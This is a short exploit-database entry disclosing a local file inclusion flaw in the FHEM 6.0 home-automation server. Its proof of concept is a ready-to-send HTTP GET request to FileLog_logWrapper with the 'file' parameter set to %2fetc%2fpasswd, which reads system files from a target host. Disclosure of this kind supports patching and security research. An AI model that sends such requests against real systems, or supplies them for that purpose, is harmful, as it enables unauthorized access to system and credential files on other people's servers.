FHEM 6.0 - Local File Inclusion

# Exploit Title: FHEM 6.0 - Local File Inclusion
# Date: 2020-02-10
# Exploit Author: Emre ÖVÜNÇ
# Vendor Homepage: https://fhem.de/
# Software Link: https://fhem.de/#Download
# Version: v6.0
# Tested on: Windows
# Link: https://github.com/EmreOvunc/FHEM-6.0-Local-File-Inclusion-LFI-Vulnerability

# PoC

To exploit vulnerability, someone could use 'http://
[HOST]/fhem/FileLog_logWrapper?dev=Logfile&file=%2fetc%2fpasswd&type=text'
request
to get some informations from the target by changing "file" parameter.

GET /fhem/FileLog_logWrapper?dev=Logfile&file=%2fetc%2fpasswd&type=text HTTP/1.1
Host: [TARGET]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:74.0)
Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1